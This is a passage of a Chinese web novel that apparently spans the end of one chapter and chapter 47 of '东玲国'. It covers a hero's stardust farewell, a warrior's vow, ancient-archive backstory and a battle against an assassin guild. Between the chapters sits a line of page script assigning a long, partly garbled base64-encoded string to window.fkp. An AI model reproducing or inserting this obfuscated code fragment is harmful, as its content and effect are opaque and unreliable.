他悄悄走到薇莉莉身旁,轻轻地拍了拍她的肩。她转过头来,见到他此时的模样时被吓了一跳。她转过身来,一脸担忧地看着他。他冲她坦然一笑,生死离别对他来说已如浮云。 星北空: “我的故事已经讲完了,你的故事还继续着呢。继续前行下去吧,美好的明天正向你招手呢。姐,感谢你闯入我的生活,为我带来了不一样的四季。姐,别总为了别人着想,你也该想想自己,照顾好自己。” 薇莉莉: “星北空......你......” 他突然迈步上前,给予薇莉莉一个深情的拥抱。薇莉莉愣了一下,脑子有些反应不过来。反应过来后,她紧紧地抱住他,也给予他一个深情的拥抱。两人深情地相拥在一起,对着彼此流泪。这一次深情的拥抱,她期待了很久,很久...... 两人回味起各自的一生,那一段段苦辣酸甜的日子仿佛还是昨天。时间飞逝,很快就到了分别的时候。两年的时光淬炼出一段坚贞的情谊,两人都在其中收获了成长与快乐。两人都舍不得彼此,但两人之间已经相隔一面死亡之墙。虽拥抱在一起,但已经是两岸边上对望的人儿了。 薇莉莉哽咽了,泪水在她脸上纵横。他的身影越来越透明,她已经看不清他的脸了。她知道,相拥是他告别的方式,马上就是分别的时刻。点点星尘从他身上飘起,随着清晨的一阵微风飘向天空。星尘在闪烁,星河在消隐,黎明在升起,他正在消逝。她眼前的景象变得梦幻起来,她注定会永远记住它。星北空正变成一片片飘起的星尘,慢慢地飘向他所向往的星河,那也是他唯一的归宿。凋零时化作星尘飞走,多么浪漫的死去的方式啊! 星北空: “你注将像玫瑰一样绽放,烂漫时展现最美的绚烂。晴空下的你注定很美,夜空下的你注定如星一样耀眼。好好地活下去,记得活得快乐一点,那样烦恼会少很多的。永别了,我亲爱的姐......我亲爱的薇莉莉。” 说完这句话,他闭上双眼,一滴闪烁着星光的泪落在薇莉莉肩上。泪水落下的瞬间,他的身体崩解成无数耀眼的星尘,在黎明曙光的照耀下绽放出美丽的星之华。看着眼前绚丽的星之华,她哭笑着;笑是因为被其感动,哭是因为对其不舍。她会铭记下这抹绚丽,就像她会铭记他的名字。 绽放过后,无数星尘从薇莉莉怀中溜走,然后随着清晨的风飘向了天上的星河。天使的星河隐去了,它们就追着星河的影子,往远方飘去了。她目送着那些星尘飞走,并没有伸出手去挽留。她用这种温柔的方式默默地向他告别,对他致以最崇高的敬意。黎明的光照在她的侧脸上,她转头看向天边升起的旭日,那正逐渐耀眼的黎明。 她擦去脸上的泪水,平复自己的情绪。悲伤流泪过后,她露出笑容来去面对太阳,去面对那轮日出。那是她的日出,那是她的黎明。迎着耀眼的太阳,告别孤寂的寒夜,她迈步向前,迎着黎明阔步前进。在她眼中能够看到希望的光辉,还有那份倔强与勇气。打不倒她的,只会使她更加强大。打倒她的,只会让她更有毅力、更加坚强。血水中盛开的玫瑰,是顽强的、是美丽的、是值得歌颂的。 薇莉莉: “我要用手中的利刃守护我爱的一切。谁要敢欺负她们,我保证会让那人付出代价。即使那人是神,我也敢杀给她们看。守护我所爱的一切,是我贯彻一生的誓言!是我的使命与职责!既然说好了要守护一切,那我怎有食言这一说呢?” 长裙化作战衣,鲜花化作利刃,她行走在寂静的城市之中,带着强大的决意阔步前行。一头血红的长发、一双坚定的眼睛、一身帅气的行头、一把锋利的大刀;再加上体内流淌的斯特迪罗之血与一副大姐头的样子,这就是血浸玫瑰,如玫瑰一样的红发女战士。 薇莉莉: “我是生长在贫瘠土地之上,是从血色之中成长的。死亡对于我来说,早已是家常便饭。我不惧怕死亡,我只害怕身边的人离开我。我要守护好我身旁的一切,尽可能的守护好她们,不让她们受委屈,不让他们受罪。只要我尝试去做了,即使结果不尽人意,那我也问心无愧了。” 转眼间她步入战场,一群带着面具的都市猎人对着她亮出了武器。她轻蔑一笑,激活核心,挥舞大刀,无所畏惧地冲上前去,以一敌百像个战神。在血色之中跳舞,在刀锋之间穿梭,她的身姿格外潇洒帅气,如神话中的女武神。刀如疾风,行如迅雷,她以一己之力打倒一群敌人。她既能直入敌腹,又能全身而退,游刃有余,实力远胜对手。 薇莉莉: “我希望我爱的人们能够好好地活着,每天都开开心心的,不必担惊受怕,都能活出各自的色彩来。她们的笑容就是我守护她们的动力,她们对美好生活的期望就是我守护她们的原因。她们高兴,我也能跟着高兴。她们伤心,我也能帮她们分担点痛苦。” 她猛烈的进攻,敌人成片倒下。顿时间鲜血横流,她的数十个手下败将倒在血泊之中颤抖着,被她打得毫无战意。敌人的人数不断减少,她在敌人眼中的形象越来越恐怖。近百人被她打倒,可她竟只是受了点皮外伤。最后打来打去,就只剩下了两三个敌人。那几个敌人见了她跟见了鬼似的,吓得转身就跑。她没有去追,而是看着他们逃跑。 薇莉莉: “保护别人是不需要理由的,只是一腔热血和一份善心促使的罢了。说来这样做挺傻的,但这样傻的人这世间还不少,我也是一员,挺荣幸的。能守护自己所爱的人,是一种莫大的幸福。即使为此失去生命也无所谓,要是能因此而死去还是一种别样的幸福呢!他用行动告诉了我这点,让我这份坚定的决心更加坚定。” 转眼间,她又回到了那条让她一举成名的街。就如那时候一样,一整条街上都站满了都市猎人,其中还掺杂着几个调解人和协会成员。有一点与那时候不一样,站在她身后的除了艾安以外,还有茵萌萌以及她想守护的那些人们。其中甚至有她的师傅和前男友瑞恩。 忘掉过去的梦魇,直面现在的挑战。再一次,她再一次为了所爱之人而战斗。与上次不同的是,她的刀锋上多了几颗星星,还有几道耀眼的星光。她能感觉到,他就在自己的身旁,从未离去。只是他变了样子,她再也见不到他的面了而已。 薇莉莉: “如星辰一般的决心,如烈火一样的内心。忧郁蓝调下的温柔,潜藏着热情似火的决意。像烈火一样燃烧自己,像天上耀眼的星辰。誓死守护所爱的人,拼尽最后一口气。无私而又无畏!灿若星辰的决心啊!让我们变得勇敢、坚强。守护一切的信念啊!指引着我们前行。我们共同坚守的誓言啊!赋予我们战斗的意义。” 一个眨眼,她回到了那片孤独的原野。眼前是晴空万里与遍野盛开的玫瑰,可谓是一道美不胜收的风景。她看着眼前的美景发笑,不经意间就沉浸在其中。温暖的阳光照在她的身上,让人沉醉的花香扑鼻而来。她笑着面对头顶的晴空,静享此刻的舒心与安宁。碧空万里,阳光明媚,风暴与黑夜已过去;斯人已逝,拨云见日,放眼望去晴空万里。 一朵蓝色绣球花和一朵蓝色妖姬在玫瑰从中凋零,它们的花瓣随风飘零。在这两朵花凋亡之后,一朵蓝色的玫瑰和一朵紫色的玫瑰从它们的残躯下长出。迎着晴空与温暖的阳光下,它们飞速生长,又悄然绽放,成为了这红色海洋中的最独特的一道风景。这道风景,她自然会留意到。这其中的寓意,便是她承受的喜与悲与那段难忘的生死离别。 薇莉莉: “你走了,只留我一人坚守着。我将秉持我们共同拥有的这份信念,守护住我身边的人们,与你一样将誓言贯彻一生。即使是死亡,也无法动摇我的决心。我将誓死守护我爱的一切,不管要付出多大的代价。我会为了这份信念战斗到我生命的最后一刻,因为她们是我爱的人,是我不能放下的人。这是我们......誓守一切的决心。” 她的身影定格在晴空之下,也成了这美景中的一部分。她的眼中不再是带有绝望的黑暗,而是希望、是决意、是晴空与星辰。晴空在白天陪伴,星辰在夜晚陪伴,她并不是孤独的。 一股强大的能量涌入了伊的核心,伊的光之种子获得了养分。 伊的核心: “光之种子已萌芽33%,激活碎片4,誓守一切的决心。激活能力:心灵感应、光之剑II型、锁。斯格玛权威认证功能已启动,归墟的一级访问权限已经解锁。” 一道耀眼的光芒过后,薇莉莉身上的光点消失了,殇的伊的视角恢复到了正常。此刻,殇突然想起了某些东西。 一颗子弹穿过一只蝴蝶的翅膀,刹那间撕碎了那只蝴蝶的身躯。殖民者的铁蹄踏过东洋墟的土地,一路烧杀抢掠。殖民者的手中有现代化兵器,也就是通俗来说的热兵器。仅凭借弓弩刀剑等冷兵器,殇的部队与殖民者很难做到一比一的战损。尽管殖民者人少,但人命毕竟是无价的,殇也很心疼那些战死的士兵。 为了提升军队的实力,殇想了很多法子。 他聘请太玄国的工匠去研究这些枪械,最后的确能仿制出实战效果差不多的枪来,但是由于没掌握根本的设计图,不知道其根本原理如何,所以这些仿制品多是一次性用品。维护什么的,压根就做不到。 殇: “这些破枪能减少一分成本是一分,毕竟这些都是一次性的用品。但是不能省的绝对不能省,不然临阵出事了可不好。” 工匠们: “明白,将军。” 他召集了秋山国的法师们,尝试制造一支强法术的军队来迎战殖民者。但因为培训成本太高等原因只培养出了一批人数少的高贵法师团。虽然只有一批法师,但起码聊胜于无,战斗的时候还能替代下炮兵。 殇: “看你们这些人瘦的,你们都不好好吃饭的吗?瘦成这样,近战与人拼杀该怎么办?难道要用你们的法杖敲他们的头吗?还是用附魔了手去扇他们的耳光?” 物理系法师: “将军,我们法师本身就是这样的。我们很容易出现伤亡,但我们的敌人更容易出现伤亡。况且,敌人要是近身我们可是会致命杀招的,能在八步以内粉碎敌人。” 殇: “哦。好吧,看来是我不了解法师。你们战斗的时候可别冲锋在前,你们金贵的很,都是精英。养着你们,希望你们能发挥好自己的作用。” 法师们: “那必须的,将军。” 他还破格招来了樱藏神府的傀儡师,尝试培养一批懂傀儡术的杀手,想用傀儡术暗杀殖民者军队的高级将领。但是傀儡师这批人是绝对中立的,而且想法独特行为离谱,最后因为贪财贪色引发了军队内部的一阵骚乱,后被殇斩杀惹事者后将全部招来的傀儡师都遣返回樱藏神府。 殇: “这群家伙就他妈的是二五仔,养着他们还给我搞这出,真是活生生的一只只白眼狼。远看像个人,近看像爬着的人,仔细看是他妈的傻狗。二五仔都给我去死!去死!老子恨死这种人了。” 泽(殇的辅佐,任命参谋): “将军息怒。那群家伙本来也不是什么善茬,都是用邪术取胜的小人。与其利用,还不如让他们自生自灭。毕竟在大敌面前不团结,最后也只会遭到排挤与灾祸。” 殇: “说的也对,那些家伙就是来找茬的!白吃我们军粮不说,还给我们惹事。真是愚蠢到家了。哎......小人再怎么也都是小人。自甘渺小地活着,一辈子就是渺小的,谁也救不了他们!” 在某一年奔赴前线只会作战的时候,殇和泽的马车在路上出了意外,就导致他们两个跟侧翻的马车一起到了一个神秘的洞窟之中。本来殇和泽打算走出洞窟后离开,但洞内的闪烁的绿光深深地吸引到了两人的好奇心。两人鼓起勇气去洞内一探究竟,结果找到了一份天大的惊喜。一艘搭在了重要信息库的空间站遗骸,就静静地躺在这个洞窟之中。当时,殇和泽还不认得空间站这个东西,只知道眼前的未知事物像一艘战舰。殇和泽喜出望外,因为这可是连殖民者都不曾掌握的科技。殇和泽花了好一阵功夫进入了这个空间站内,一阵乱碰与乱摸之后,误打误撞激活了空间站内的微型隐藏反应堆,让这个空间站复苏。 殇和泽在空间站内有了惊人的发现,这空间站中有着跟他们一样的文字,一笔一划都是完全相同的,就连读音也是惊人地一致。不仅如此,他们惊讶地发现,这艘空间站是古代遗迹,是之前的文明留下的重要财宝。 他们是识字的,也都是度过几年书的,根据这里的文字自然也能明白些什么。他们花了很长时间,最后弄出了许多电子文件。这其中,就有枪械的原理图,还有物理学的诸多文献。这为后来的殇之崛起留下了伏笔。 后来经殇和泽统计,这空间站内储存的文件数量高达惊人的一百二十七万多份!其记载的文字数量是他们文明所有文献加在一起的几十倍。若将这些文件拼凑在一起,那将呈现出一个恢弘庞大且绚丽的文明。他们所创造的智慧结晶,将是能改变整个世界的密匙。 凭借这空间站内的各类文件,殇发展出一支支专业的现代化部队、一支支技巧过人的工匠团以及一支支专业且牢靠的后勤团。凭借远超于殖民者的科技,殇真正做到了军队的觉醒。 当然事已至此还没有落下帷幕。在空间站的一份隐秘级文件之中,记载了有关于“赛博之心”这个誉为知识宝库的地方,还特意标注了其具体位置。文件中赞扬了其美好与优秀,但却在最后一行附加了红字警告,说那里是能带来灾祸的地方。 除此之外,文件中还记载了一群名为“天上人”、“龙族”、“传神者”等名称的特殊人群,也是加以了红字警告。这其中有个最特别的,“守望者”,被特意用下划线与红字加注,貌似它的危险程度远超之前的那些特殊人群。至于为什么这些人危险,这些文件里面并没有记载。有关他们的介绍,也只是写了个开头。 多年以后...... 在赛博之心遗址上方的仙灵山中,当年殇的追随者之一的罗与殇在一个亭子里见面。虽两人相差十岁,但两人相见时都已经是银发当头。尤其是罗,已是满头银发。 首脑罗·凯撒: “殇殿下,想不到能在这里见到你。” 国王殇: “我也一样,罗老弟。多年未见,你还是老样子。蒙面帅哥,一个眼神迷倒一片小姑娘。” 罗·凯撒: “你说话还是那样阴阳怪气。哈哈哈,都是‘老样子’啊。” 殇: “话说,这附近的隔离带还要多久建设完毕?” “还有半年,快点就是三个月。” “哎......这地方是圣地,大门也是带来灾祸的地方。当初那批文献,并非是空穴来潮啊。也许诞生在我们之前的文明,因这地方遭受过那种灾难吧。” “我想是的。他们一定是想警告后人,不让我们重蹈覆辙。这便是那些文献中的句句警告留下的意义。历史有个规律:人是不变的。人,个体,能从历史中学到‘不要犯前人的错误’,可惜只有极少部分人能做到这点;人,这类物种,能从历史中学到重蹈覆辙的精髓,可惜绝大多数都是能做到的。若我们这代秘密的守护者死去,后人能听从我们的留言吗?我想大多是不会的,前人警告我们的事,很可能变为现实。” “说得没错啊。罗老弟。我们守护秘密的人要是死去了,这里的重要性就没几个人知道了。等这里再被发现的时候,灾难就会发生,我们守护意义的行为将失去意义!为了防止那一天到来,我们必须将这里封印,让其与外界彻底阻隔开!” “殇殿下,做事不要太绝。我们得留下一把钥匙,以便在我们的文明岌岌可危之时,能让这地方成为挽救我们文明的一种手段。” “这倒确实。那我们得设计的复杂一点,起码得确保短时间内别有人发现呐。必须得让它在末世中发挥用处,不然这钥匙和锁就是失败的。” “说得对,殇殿下。那我们就用我们前人的方式,将钥匙藏在宇宙之中,等末世时在将它拿回吧。我会设计一个特殊的基地和一个特殊的AI,并在里面放入足够多的物资与能源,让里面的AI监视这个世界很长一段时间。在末日到来时那AI会将密匙交给后人,由后人的领袖将那钥匙拿回。” “这主意不错,我赞成。但实际操作起来很复杂吧。” “复杂没关系,反正我这幅身子骨还能活个二十几年,就用时间来去创造它吧。有科技加持,我能坚守很久的。” 说完,许多记忆碎片涌入殇的脑袋。 循环......循环......循环...... “赛博之心内,我看到了我难以接受的事实。” 破碎的光之种子,化成碎片的光之种子...... “ta不止存在过一次,过去,ta也曾存在过。不过,都是以一种奇妙的方式存在......” 饥荒,瘟疫,战争,死亡...... “四大天灾,四个文明,四个世界的末日......” 人间守望者,赋予章之名;超越天上人的守望者,赋予棋之命;神在人间的化身,赋予铭之名;继承无上神明之血脉的人类,赋予圣华之名...... “那个男人所给予我的,正是我祖上白之章的力量。他想让我成为英雄,又想让我成为魔鬼。为了他信念的‘她’,为了他的一己私欲......” 天方六棋,鸿、渊、炎、寒、辉、亡。六方圣殿,星河、虚空、龙城、冰塔、森林、战场。沉睡在底下的英灵们,会在世界需要之时苏醒,以神力庇护一方人民,以致灾祸避开这片土地。 “想要打败他,只能凭借他们的力量。若是可以找到他们,并拉来他们的协助,我注定会超越神明,将我们世界的自由归还给我的人民......” 武圣,白之章,殇无间。留存的血脉,传承下的勇气...... “我注定要改变这个世界,自由属于我们自己......” 第一世界,第一循环......第二世界,第二循环......第三世界,第三循环......第四世界,第四循环......第五世界....... “世界命运即是如此,我能做的就只是延续。守望者之名,是英雄的名字,也是罪人的名字,更是灾祸的名字!延续,一定要延续下去......” 殇有些头疼,这些回忆让殇感到不安,同时也让他想起了自己的使命。回到王座之间,只是他使命中的一部分。他真正的使命,是成为“超越神明”的存在,是成为人间最强守望者,是打败那个剥夺他们自由的罪魁祸首。为了这个目的,他会不择手段的前进下去,即使这会牺牲他的一切。 殇小声嘀咕道: “看来,我还是忘掉太多了......还有诸多疑团还未解开,我的道路虽然明朗但不知通向何方啊。也许伊,是照亮我前行的灯吧。” 伊: “殇,你在说什么?” 殇: “没事没事,突然想起什么,小声吐槽几句。” 伊: “哦。” 这时,青莲他们赶了过来。见到倒在地上的薇莉莉,茵萌萌和查尔拉立马上前去检查薇莉莉的状况。殇见了,笑着告诉她们: “她没事,只是晕过去了。” 听殇这么说,她们还是有些不放心。在她们检查完薇莉莉的状况后,确认薇莉莉还活着时,才真正放下心来。这时,青莲敏锐的眼光察觉到了周围的异样。废墟之中多了许多潜伏在黑暗中的人影,许多双虎视眈眈的眼睛正在注视着他们。那些人的目标很明确,就是来为这场闹剧收尾的。 青莲: “女儿,你们两个带着你大姐离开。有人来找茬了,看来是想趁人不备来算账啊。” 青莲变出一把红黑长剑,身上即刻燃烧起赤红龙焰。一旁的众人见此,也知道事情的不妙。查尔拉和茵萌萌看了青莲一眼,又彼此对视了一眼,然后两人点点头,扶起地上的薇莉莉,扶着薇莉莉离开。 青莲: “殇,麻烦你了。帮我们打通一条前进的道路吧,我负责断后。” 殇: “没问题。” 殇给伊使了个眼色,伊点点头,和茵萌萌一起离开。一旁的埃罗见了,选择跟青莲站在一起,想要跟青莲一起断后,但青莲并不愿意。 青莲: “你小子别给我添乱,我可没法在战斗的时候照顾你。” 埃罗: “没事的,岳父。多一分力量,能多一分胜算。” 青莲: “有这份心就够了。你还是护送女人们离开吧,我自己一个人足够。况且,我的实力远超那些敌人。” 埃罗: “好吧,那你小心,岳父。” 隐匿在黑暗之中的敌人们现身了。青莲认出了他们,他们是一个名为“猎鸟者”的中等协会的协会成员,是专门干脏活累活的协会。青莲与他们有过交集与摩擦,他对这个协会的印象很深。 罗兰·罗杰斯(会长): “好久不见啊,红影剑客。想不到这次被雇佣,竟能找到你这个宝啊。哈哈哈,算是没白来了。” 青莲: “你这次来是为了什么?为了我头上的高额悬赏?还是为了你那混账妹妹报仇?” 罗兰·罗杰斯: “两者都有。” 青莲: “真符合你的作风。当初教你剑术的时候,你也是这般贪婪。” “别说的这么难听。我只是活得游刃有余罢了,多做点事总能斩绝后患的。况且,你当初也不是这般无情吗?” “你的嘴还是那么欠揍啊。既然你们主动来找茬了,那就别怪我无情了。你们怎么来的,我就怎么把你们打回去。” “熟悉的话,熟悉的人。不过这回,你和你的女儿......还有S都别想离开这里。” 罗兰拍了拍手,对身旁的手下吩咐道: “红姐有令,斩草除根。把那个引发骚动的红发女子杀死,将那个S活捉回总部。消除这里的一切不利痕迹,杀手联盟不希望有任何关于收尾人的绯闻传出去。” 众协会成员: “明白,会长。” 罗兰拔出腰间的锯齿细剑,用剑锋直指青莲。罗兰身旁的协会成员拿出了各自的武器,准备战斗。青莲见这架势,丝毫没有慌张,从容不迫地正了正自己的斗笠。青莲握紧手中的剑,对罗兰一行人警告道: “你们要是敢动我女儿一根手指头,我一个人灭你们一个协会。你们要是谁有意见,往前走一步试试。” 罗兰很淡定地笑了笑,青莲对他的威胁毫无作用可言。为了顾全大局,也为了减少人员损失,罗兰对身旁的手下说: “留下五人跟我作战,其他人都去追那一群人去。别手下留情,该杀的杀,该绑的绑。” 众协会成员: “明白,会长。” 罗兰身旁的人瞬间散开。青莲见此察觉不妙,立即去用武力阻拦其中的一位副会长,尽可能的为他女婿那边减轻压力。罗兰不会袖手旁观,他飞速来到青莲面前,用剑替那位副会长挡下青莲的攻击。 之后,人都走完了,只剩下罗兰极其留下的五人。 罗兰·罗杰斯: “周遭人退下,让我一人与他战斗。” 留下的五人很听话地后撤到一边旁观,给予罗兰和青莲足够的战斗空间。 罗兰·罗杰斯: “来吧,师傅。再与我公平对决一次吧。” 青莲: “好吧,你这执迷不悟的邪徒。我会速战速决,我要去救我的家人。” 罗兰·罗杰斯: “那我也得加速了,不然跟不上您的步伐啊。” 青莲: “少放屁。别墨迹了,直接开始战斗吧。” 说完,青莲一个箭步来到罗兰面前,眨眼之间发动了猛烈的进攻。罗兰灵活应对,招架与闪避灵活运用,尽可能的去保持主动。一场猛烈的战斗开始了,这是一场实力悬殊的较量。 ...... window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第四十七话:斯人已逝,拨云见日 这时,许多协会成员挡住了殇他们的去路,并包围了殇他们。这些人二话不说,上来就直接拔刀相向,没一句客套话直接开始战斗。殇和埃罗哪有和这些人说话功夫,直接上前去迎战。殇捡起地上的一根钢筋,用这根钢筋作为武器,用高超的武艺打倒了一大片敌人。埃罗那边就没那么轻松了,善于中距离作战的埃罗面对这么多人,一时之间难以应付。所幸殇及时过来救场,这才让埃罗减少些压力。 由于要护送茵萌萌她们离开,所以殇无法使用那些威力巨大的范围性杀招,怕误伤到茵萌萌她们。这就导致殇无法真正伸展开拳脚,只用用诸如隼之冲刺、镜之边缘的盾冲之类的招式。这也就导致了殇对付一群人非常吃力,尽管他能做到三拳两腿打倒一个。 那些人逐渐围了上来,茵萌萌她们的处境越来越危险。情况紧急,殇正想办法解决。这时,一道靛青色地火从那些人身后出现,瞬间趁其不备打倒了七八个人。那些人被背后的攻击打了个出其不意,都回过头去看身后。殇顺着倒地人往远处看去,仔细一看,是杨三刀来救场了。 殇: “杨三刀?!太好了,你来正是时候。” 伊: “杨哥?太好了,我们有救兵了。” 杨三刀对殇他们喊道: “殇!不止洒家一个人来了。” 说完,一颗子弹精准打在其中一位敌人的身上。刹那间子弹贯穿两人,打倒了这两人。殇抬头张望,在东边的一栋高楼楼顶看到了一个熟悉的身影。她正拿着狙击枪,对着殇他们挥手。 凯莉: “殇大哥,我们来救你们了。” 殇见她来,心里甚是感动。紧接着,欧文和韩的身影也出现在了殇的眼中。他们两个站在杨三刀身旁,拿着武器一幅信心满满的样子。 欧文: “殇大哥,冤冤相报何时了啊?” 韩: “喂!欧文,这个时候不该说这句话。这句话的意思不能用在这个时候,不然殇大哥会误会的。” 欧文: “啊?那我该说些什么?” 韩: “就说‘我们来帮忙了’就行。” 欧文: “好的。殇大哥!我们来帮忙了。” 韩: “殇大哥,别来无恙啊!” 除此之外,凯莉的师傅莉莲和法戈·明(分身)也来到了这里。莉莲拿着须臾(骑枪的名字),迈着阔步走到了韩的身旁。法戈·明领着一群斯特迪罗家族的战士,带着他的两个店员什红亮和保罗走到了欧文的身旁。这下子,殇这边可就不缺人手了。现在局势也从被包围的窘迫,变成了双面夹击时的自在。 莉莲: “殇前辈,需要搭把手吗?” 殇: “竟说那废话,赶紧来吧,正缺人呢。” 莉莲: “态度好一点可以不?还有,战后别忘犒劳犒劳我哦,殇前辈。” 殇: “行。” 法戈·明: “殇,伊,我帮你召集了点人手。接下来,就看他们的表现了。” 殇: “非常感谢!” 什红亮: “伊小姐,我们来救你了!” 保罗: “伊小姐,别害怕,我们很快就料理完这些家伙。” 伊: “大家......谢谢,谢谢你们。” 看到有如此多的人来帮他们,殇和伊心里非常感动,他们感觉心里一阵温暖。他们之前所做的那些善行,在此刻都有了回报。人世间的温暖,就是这么简单,就是这么质朴。一份普通的善意付出,能换来另一份善意的到来。善意的循环之中,人与人之间的关系也便被拉进了。 这下有这么多人帮忙,殇他们离开这里是不成问题了。面对殇他们突如其来的救兵,这些协会成员感觉到了不妙。他们没了人数优势,还不知对方这些人实力究竟如何,对接下来的战斗很是迷茫。但会长有令,他们怎能临阵脱逃。即便他们都很迷茫,但他们依旧选择继续战斗,拼尽全力去完成会长留下的任务。 菈蕾(副会长): “会员们,我们上!全力完成任务。” 众会员们: “明白!” 菈蕾一声令下,她身旁的众会员们对殇一行人发动了猛烈的攻势。殇一行人双向正面迎接,以两面包夹之势对付这批敌人。殇他们一边战斗,一边为茵萌萌她们打出一条血路。茵萌萌和查尔拉也想上来帮忙,但考虑到薇莉莉的缘故,她们还是选择继续护送薇莉莉离开。她们努力帮忙的方式,就是搀扶着薇莉莉快步向出口的方向走去。 有了救兵支援,殇他们对付起这批精英敌人稍显轻松了些许。其中尤其是前来支援的杨三刀和莉莲,打的是最凶、最卖力的。在查尔拉她们身旁的伊也能帮上些忙,她的治疗之力能为友方人员治疗,将每个人的战斗续航时间提到了最大。殇以一敌十,仅靠赤手空拳就打倒了菈蕾及其十余位协会成员,他的战斗力可谓是超乎常人的高。他战斗时很轻松,几乎没有压力,因为他打这群协会成员就跟欺负菜鸟一样。 但其他人可不像殇一样轻松。 欧文和韩的实力不够强大,凭借二打一的优势才能勉强对付一个,他们战斗时也只能起到干扰与拖延的作用。但即便是弱小,他们也依旧奋战到了全身伤痕累累的地步。在远处狙击的凯莉已经打光了所有子弹,面对交战区域上的一片混乱,她也只能直勾勾的看着。她与交战区域的位置太远了,等她跑过去支援的时候已经是战斗结束了。她不知道结果会是如何,因而不敢做出决定。 什红亮、保罗及其那些斯特迪罗家族的战士,虽然功绩不错,但也付出了很多牺牲。什红亮被砍断了左小臂,当时差点休克过去。为了掩护受伤的什红亮离开,一位无名的斯特迪罗战士因而付出了宝贵的生命。保罗奋战到全身负伤,最后被迫被韩搀扶着离开。埃罗紧守在茵萌萌她们三人身旁,要是有漏网之鱼靠近就用枪击倒或是击杀。子弹很快打完,他不得已用上了兵器。他最终也是遍体鳞伤,甚至还被切掉了一根小指。斯塔迪罗家族的战士们倒下了很多,其中有小半数的人当时就断气了。 莉莲由于是高级调解人,因而她的应对显得格外有力。一招一式招招致胜,每个细节都能致命。同时身法高超,武艺了得,应对多人围攻能游刃有余进退自如。但即使是这般强大,她也会有失误的时候。每当出现失误,那便是她身上沾染血色的时候。频繁的战斗让她疲累,失误造就的伤口让她痛苦,力不从心的落差感让她懊恼。她总共打倒了二十多人,占了敌人总数的四分之一。最后,她筋疲力尽,没法再继续战斗。接着,她在殇护送下撤离了交战区域。 杨三刀用三刀斩扫除一片,就如砍瓜切菜一样将敌人砍成重伤,不要人性命的同时还能让其短时间内无法起身战斗。杨三刀和殇并肩作战,用高超的武艺与技巧打倒了一片又一片的敌人。敌人倒下后站起来继续战斗,打倒了不一会又能起来,这让殇和杨三刀很是苦恼。这样顽强的敌人,让两人战斗的压力有些大。但奈何两人都是技巧高超的老师傅,这样的顽强无非就是多打一下、多砍一刀的事。 与此同时...... 罗兰被青莲抓住脖子,青莲一把把他拎了起来。青莲用罗兰的头猛击地面三下,然后被罗兰一把扔飞出去。为防止罗兰还能继续战斗,青莲还补了一记波光剑气斩,放出三道剑气猛击罗兰,彻底将其击败。至于罗兰身旁留下的五人,也早在二人的单挑中被青莲的剑气误伤,全都倒下了。罗兰颤抖着站起身来,拄着剑痛苦喘息着。 罗兰·罗杰斯: “咳咳......呵......呵呵,看来师傅你,还是老样子啊。那样强大、那样仁慈、那样受我尊敬啊!这是我第七次败在你手里了,师傅。看来想打败师傅你,我还得多磨练几年啊。” 青莲: “我愚蠢的徒儿啊!是什么把你变成了现在的样子?你的那份初心呢?如今你早已被野心之火吞噬,变成了为人利用的一把寒钢剑。这么做,你就真的心甘情愿吗?” 罗兰·罗杰斯: “师傅,你不懂。这是计划的一部分,是我前进路上的一道坎坷。我妹妹,你也知道你为什么要杀她。她出卖了自己的肉体与灵魂,换来了一份邪恶的力量。她也是想复兴这个家族,和我做的事一样,不过我的方式要比她干净些。” 青莲: “复兴......家族没落时代,你们这样的人并不少见。但复兴,也得讲究个方式方法。不择手段,只会让你们的家族覆灭。想想吧,有多少像你一样的人误入歧途,最终落得个一无所有。有的甚至连命都失去了!” 罗兰·罗杰斯: “哈哈哈哈,师傅你还是那样,喜欢向人说教啊。可道理我都懂,实践起来远比你想得要难!当做别人的剑又如何?只要能复兴我们的家族,完成我父亲的夙愿,就是这辈子当狗,我也愿意。” 青莲: “你已经无可救药了。过去的一切像是樊笼,已经牢牢地关住了你。你就像笼中之鸟一样,向往天空却依恋樊笼!你永远也见不到真正的天空,你只是笼中之鸟。” 罗兰·罗杰斯: “师傅,你不会明白的,你永远也不会明白的。你就是那样固执,从不去理解别人的痛苦。你的说教永远是高高在上,从未低下头去聆听普通人的诉说。放下一切,说得简单,有几个人能做到呢?” 青莲: “道理你有一天会明白的。我不想跟你继续辩论下去了!我要去救我的女儿,保护我的家人。” 罗兰·罗杰斯: “哦?那现在可能就来不及了。八十多号人的围攻,就那几个人的挣扎根本是徒劳!你现在去,也许还能收个尸。” 青莲: “希望我们下次不会再见面。” 说完,青莲转身奔赴殇那边,去支援殇他们。看着青莲离去时的身影,罗兰是哭笑不得。他的那份初心早已经迷失、他的心灵早已经腐烂透底、他的精神已经陷入深深的疯狂。复兴家族的梦,最终成了他身上的枷锁。束缚家族新一代希望的前进,破灭家族所曾拥有的辉煌。 当青莲赶到交战区域的时候,战斗已经接近末期。现在只有最后几位敌人仍不放弃继续战斗,在场上苦苦挣扎着。青莲见了立即加入战斗,和殇他们一起解决了这最后几个敌人,彻底结束战斗。 战斗结束之后,受伤与战死的人躺在遍及血色与疮痍的地面上,放眼望去满目疮痍,到处都是血色。几个浑身是伤的斯特迪罗战士搀扶起地上还有一口气的同伴,和他们一起蹒跚着离开了这里。交战区域外有着许多伤员,多半都是斯特迪罗家族的小伙子们。这幅景象,看得殇他们很揪心。 结果是显而易见的,殇他们用牺牲换来了这场战斗的胜利。但他们所牺牲的,远比他们的赢得的要多。这场战斗毫无意义,只是制造了无意义的伤亡,制造更多可以避免的痛苦罢了。战斗中两方都有伤亡,可谓是两败俱伤。这场战斗,没有胜利者可言。 薇莉莉被送上了埃罗的车,茵萌萌她们随同上车。在青莲、杨三刀和殇三人的护送下,她们安全地离开了这里。那些协会成员也没有穷追不舍,知道继续战斗下去没有意义,罗兰就吩咐全员撤离了。见敌人撤退,殇他们算是能放下心来,好好地歇息一下了。但还有许多伤员得去处理,殇他们没工夫歇着,就护送这些好心人去医院。在路上,殇对他们说了很多感激的话,向他们致以了崇高的敬意。 如果他们知道殇是那个叱咤风云国王殇的话,也许会被吓一大跳吧。王的敬意,是怎样沉重的分量?不说他们也知道。 